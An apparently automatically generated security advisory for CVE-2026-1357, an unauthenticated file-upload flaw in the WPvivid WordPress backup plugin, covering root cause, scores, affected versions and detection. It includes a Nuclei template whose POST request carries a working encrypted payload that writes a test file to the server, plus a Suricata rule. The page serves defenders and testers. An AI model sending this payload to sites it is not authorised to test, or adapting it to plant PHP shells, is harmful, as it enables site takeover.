CVE-2026-1357: Migration, Backup, Staging <= 0.9.123 - Unauthenticated Arbitrary File Upload
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
The Migration, Backup, Staging, WPvivid Backup & Migration plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Upload in versions up to and including 0.9.123. This is due to improper error handling in the RSA decryption process combined with a lack of path sanitization when writing uploaded files. When the plugin fails to decrypt a session key using openssl_private_decrypt(), it does not terminate execution and instead passes the boolean false value to the phpseclib library’s AES cipher initialization. The library treats this false value as a string of null bytes, allowing an attacker to encrypt a malicious payload using a predictable null-byte key. Additionally, the plugin accepts filenames from the decrypted payload without sanitization, enabling directory traversal to escape the protected backup directory. This makes it possible for unauthenticated attackers to upload arbitrary PHP files to publicly accessible directories and achieve Remote Code Execution via the wpvivid_action=send_to_site parameter.
Description quoted from the CVE record (assigned by Wordfence, published 2026-02-11).
Weakness: CWE-434 Unrestricted Upload of File with Dangerous Type
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: total.
Public exploit evidence (Exploit Observer)
Exploit Observer found 1 Nuclei template, 18 code repositories and 1 research write-up naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 23 references on Exploit Observer
Live scores
- EPSS
- 0.390
likely to be attacked soon - VEDAS
- 0.985
strong exploit evidence - On CISA KEV
- Not listed
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| wpvividplugins WPvivid, Backup, Migration & Staging | up to and including 0.9.123 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.
How to detect it
Nuclei template (active check)
WordPress - Arbitrary File Upload
The Migration, Backup, Staging, WPvivid Backup & Migration plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Upload in versions up to and including 0.9.123. This is due to improper error handling in the RSA decryption process combined with a lack of path sanitization when writing uploaded files.
Name and description quoted from the template, written by VEDAS.
The template sends 2 requests (POST /, GET /wp-content/uploads/vt-swcqeg-test.txt); it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-1357.yamlShow the template (60 lines)
id: CVE-2026-1357
info:
name: "WordPress - Arbitrary File Upload"
author: vedas-arpsyndicate
severity: critical
description: |
The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to
Unauthenticated Arbitrary File Upload in versions up to and including 0.9.123. This is due to improper error
handling in the RSA decryption process combined with a lack of path sanitization when writing uploaded files.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-1357&match=exact
- https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-1357
cwe-id: CWE-434
metadata:
verified: false
tags: cve,cve2026,wordpress,wp,wp-plugin,wpvivid,file-upload,rce,vkev
flow: http(1) && http(2)
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
wpvivid_action=send_to_site&wpvivid_content=MDAzQUJDMDAwMDAwMDAwMDAwMDExMDUGpYqxgOo0%2FZM3%2BLE%2B23CYS%2BI8Sbr6wwwU6dJweFxMk%2BOogH3GIpPZZMrm72oUS3vnrlf0AXv1vmGVBIbLo3QcQs%2B4JU7cLQw1kWByCFlYkpHcBuzxjEbVtT8VSdFgb6NLW6cpP4BdWT8bJx%2F%2FAOO09m3EFtf2sOcE%2BJjFJAew%2BELondwDkz3u5mssxGaQrlvWgaIlmPwz3FZx8dWC%2FHy7k4P3S5IJ7JV0tefjHJKCOzjPHngkZENu1uI2LmE6JaeF7XdXJCcmFOrNex4yJgIO0raawogHW457fM4wXKDnrM3bwxeLn5KwvAgadaTj4F9zWHxnjBmpa%2BtIaohISVcA5%2BGv6cAA95rzOoXBGUaI
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"result":"success"'
internal: true
- type: status
status:
- 200
internal: true
- raw:
- |
GET /wp-content/uploads/vt-swcqeg-test.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "CVE-2026-1357-swcqeg-verification-test"
- type: status
status:
- 200
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-1357 WordPress - Arbitrary File Upload. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-1357 WordPress - Arbitrary File Upload"; flow:established,to_server; http.uri; content:"/wp-content/uploads/vt-swcqeg-test.txt"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-1357; reference:url,https://www.exploit.observer/?keyword=CVE-2026-1357&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact; sid:1011558; rev:1;)
References
Other references
- https://www.wordfence.com/threat-intel/vulnerabilities/id/e5af0317-ef46-4744-9752-74ce228b5f37?source=cve
- https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/trunk/includes/class-wpvivid-crypt.php#L58
- https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.122/includes/class-wpvivid-crypt.php#L58
- https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.123/includes/class-wpvivid-crypt.php#L58
- https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/trunk/includes/customclass/class-wpvivid-send-to-site.php#L629
- https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.122/includes/customclass/class-wpvivid-send-to-site.php#L629
- https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.123/includes/customclass/class-wpvivid-send-to-site.php#L629
- https://plugins.trac.wordpress.org/changeset/3448386/wpvivid-backuprestore#file1
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.